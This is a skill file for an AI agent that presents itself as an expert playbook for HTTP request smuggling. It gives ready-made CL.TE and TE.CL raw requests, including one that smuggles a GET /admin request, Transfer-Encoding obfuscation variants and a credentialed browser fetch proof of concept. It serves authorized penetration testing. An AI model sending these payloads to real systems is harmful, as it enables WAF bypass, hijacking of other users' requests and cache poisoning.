request-smuggling

---
name: request-smuggling
description: >-
  HTTP request smuggling and desynchronization testing. Use when front proxies,
  CDNs, or load balancers disagree with the origin on message framing
  (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when
  exploring client-side desync via browser fetch pipelines.
---

# SKILL: HTTP Request Smuggling — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser `fetch` pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is **message boundary disagreement** between hops.

Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.

## 0. RELATED ROUTING

- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the HTTP client library is **Apache HttpClient <= 4.5.9** (HTTPCLIENT-1974/1978) — injecting `瘍瘊` (U+760D U+760A, low bytes `\r\n`) into a header value causes the underlying char-to-byte writer to emit a literal CRLF, splitting the request at the origin without relying on CL/TE disagreement

## 1. QUICK START

### CL.TE first probe (front-end trusts CL, back-end trusts chunked)

Assumption: front end prioritizes `Content-Length`, back end prioritizes `Transfer-Encoding: chunked`. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.

```http
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

- Front end reads only 13 bytes based on `Content-Length: 13` (that is, `0\r\n\r\nSMUGGLED`, 13 bytes total) and considers the request complete.
- Back end parses as chunked: after the `0` end chunk, it treats **`SMUGGLED` and onward** as the start byte stream of the **next request**.

### TE.CL first probe (front-end trusts chunked, back-end trusts CL)

Assumption: front end parses chunked and back end only reads `Content-Length`. Set **CL equal to the number of bytes in the chunk-length line** (commonly `4`: two hex characters + `\r\n`), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.

Embed a second request in the chunk (all line endings are **CRLF**; `35` hex chunk length = 53 bytes):

```http
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0


```

On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.

### Safety note

Test only within **authorized scope**; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.

---

## 1. CORE CONCEPT

**Definition**: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the **same TCP/TLS stream**, allowing an attacker to include a **partial or full** second request inside one logical request.

```
  Client          Front (proxy/WAF)              Back (origin)
     |                     |                            |
     |==== Request A+B ===>|                            |
     |                     | parses boundary #1         | parses boundary #2
     |                     |         \                  |         /
     |                     |          different split points
     |                     |                            |
     v                     v                            v
                   Request A (seen)              Request A' + smuggled B
```

**Difference from CRLF injection**: CRLF usually injects into **responses** or **header lines**; smuggling targets implementation differences in **RFC 7230 message framing** (`Content-Length` / `chunked`).

**High-value impact**: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.

---

## 2. CL.TE VULNERABILITIES

**Pattern**: front end trusts **`Content-Length`**; back end trusts **`Transfer-Encoding: chunked`**.

**Exact example** (same as §0): `Content-Length: 13` and `Transfer-Encoding: chunked` both exist, body is:

```text
0\r\n\r\nSMUGGLED
```

Byte count: `0` + `\r\n` + `\r\n` + `SMUGGLED` = 13.

**Back-end perspective**: the chunked stream ends at `0\r\n\r\n`; if `SMUGGLED` starts with `METHOD SP` or another valid request prefix, it becomes a **smuggled request-line prefix**.

**Tuning**: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust `Transfer-Encoding` variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.

---

## 3. TE.CL VULNERABILITIES

**Pattern**: front end parses **chunked**; back end only reads **`Content-Length`** (or too-short CL).

**Intent**: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.

**Full TE.CL with embedded second request** (same family as §0; `Content-Length: 4` + first chunk-length line `35\r\n`):

```http
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0


```

Explanation:

- **Back end (CL)**: reads only 4 bytes from the message body start -> `3` `5` `\r` `\n`, marks body complete, and leaves the remaining bytes in the TCP read buffer.
- **Front end (TE)**: parses full stream as chunked and forwards/consumes `GET /admin...` as body content of the **already-closed first request** (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.

For longer smuggling (e.g., `POST` + `Content-Length: 11` + `x=1`), chunk length is about `76` (hex `0x76` = 118 bytes); `Content-Length: 4` can still pin the back end to reading only the length line.

**Practical notes**: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.

---

## 4. TE.TE VULNERABILITIES

**Pattern**: both front and back claim to process `Transfer-Encoding`, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.

Use the following **8 obfuscation variants** to probe parser differentials (single-line display; `\t` means a real TAB):

```http
Transfer-Encoding: xchunked
```

```http
Transfer-Encoding : chunked
```

```http
Transfer-Encoding: chunked
Transfer-Encoding: chunked
```

```http
Transfer-Encoding: x
```

```http
Transfer-Encoding:[TAB]chunked
```
(Replace `[TAB]` with real `\x09`.)

```http
 Transfer-Encoding: chunked
```
(One leading space at line start.)

```http
X: X
Transfer-Encoding: chunked
```
(Previous line value is `X` and next line starts with `Transfer-Encoding`: this uses **line continuation / lenient header parsing** so one hop may merge or split lines incorrectly; separator between `X` and `Transfer-Encoding` may be `\n` or `\r\n` depending on the target stack.)

```http
Transfer-Encoding
: chunked
```
(Field name and colon are on **different physical lines**; some parsers still treat it as valid `Transfer-Encoding: chunked`.)

**Strategy**: for each (front, back) pair, enumerate which side accepts each variant as `chunked`, then map to equivalent CL.TE or TE.CL using §2/§3.

---

## 5. HTTP/2 REQUEST SMUGGLING

### H2 -> H1 Downgrade

Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:

- incorrect pseudo-header to regular-header mapping order;
- forbidden headers (such as some `Connection` combinations) forwarded incorrectly;
- duplicate-header merge rules inconsistent with the origin.

### Pseudo-header / header-injection smuggling (concept payload)

Attack surface comes from downstream H1 parsers treating certain bytes as the **start of a new request**. A common research/CTF approach is to place near-request bytes inside header values that one layer ignores but another treats literally:

```text
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target
```

**Meaning**: if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new `GET / HTTP/1.1` at `\r\n\r\n`.

**Testing directions**:

- duplicate and case handling for `Transfer-Encoding` / `Content-Length` in H2 (H2 requires lowercase, but translation layers can fail);
- downgrade behavior when `:method` or `:path` includes abnormal characters;
- interactions between tunneling or extended CONNECT and smuggling.

---

## 6. CLIENT-SIDE DESYNC

**Scenario**: browser request-body handling differs from middleware/origin, or **`no-cors` + preflight exemptions** permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).

**HEAD + GET chain**: some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.

**JavaScript PoC shape** (illustrative: set body to raw bytes containing `GET`, with `no-cors` and credentials):

```javascript
fetch("https://target.example/vulnerable", {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});
```

**Note**: browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.

---

## 7. TOOLS

| Tool | Purpose |
|------|------|
| **Burp Suite — HTTP Request Smuggler** (BApp Store) | Automated desync detection, common variants, timing-delta checks |
| **defparam/smuggler** (GitHub) | Python scripts for batch generation/sending of smuggling probes |
| **dhmosfunk/simple-http-smuggler-generator** (GitHub) | Quickly assemble raw CL.TE / TE.CL message templates |

**Usage advice**: first passively confirm a **front-end + origin** two-hop path, then select minimally disruptive probes, and lower concurrency in production.

---

## 8. DETECTION DECISION TREE

```
                        Start: reverse proxy / CDN in path?
                                    |
                    NO -------------+------------- YES
                    |                               |
            Low classic smuggling                    |
            (still test H2 desync)                   v
                                            Can you send TE + CL together?
                                                    |
                              NO -------------------+------------------- YES
                              |                                         |
                      Test H2-only issues                    Front prefers which?
                      (pseudo-header, reset)                            |
                                        +-------------------------------+-------------------------------+
                                        |                               |                               |
                                   CL wins                          TE wins                         errors /
                                        |                               |                          connection
                                        v                               v                               |
                                   CL.TE probes                    TE.CL probes                    TE.TE obfuscation
                                   (Sec 0,2)                       (Sec 0,3)                       (Sec 4)
                                        |                               |                               |
                                        v                               v                               v
                              Time / content /                    Adjust chunk                     Pairwise matrix:
                              queue poisoning                     sizes + CL                      which hop accepts
                              signals?                            alignment                       which variant?
                                        |                               |                               |
                                        +-------------------------------+-------------------------------+
                                                                        |
                                                                        v
                                                              Confirm with second request
                                                              smuggled (replay-safe)
                                                              or Collaborator-style side signal
```

---

### Advanced Reference

Also load [H2_SMUGGLING_VARIANTS.md](./H2_SMUGGLING_VARIANTS.md) when you need:
- H2.CL and H2.TE variants with byte-level payload examples
- CL.0 (connection close desync) — technique and detection
- Fat GET request smuggling (body in GET request)
- Request smuggling → cache poisoning chain (response queue misalignment)
- Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
- CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)

---

## 12. RELATED ROUTING

- **Input enters interpreter/query language/template** (not HTTP framing) -> [Injection Testing Router](../injection-checking/SKILL.md) (then drill down into XSS, SQLi, SSTI, etc.).
- **Response header splitting / Location CRLF** -> [CRLF Injection](../crlf-injection/SKILL.md).
- **Cache and path-key confusion** -> [Web Cache Deception](../web-cache-deception/SKILL.md).

Once confirmed as an **HTTP message-boundary** issue rather than parameter injection, **stay in this skill** to avoid misrouting into general injection workflows.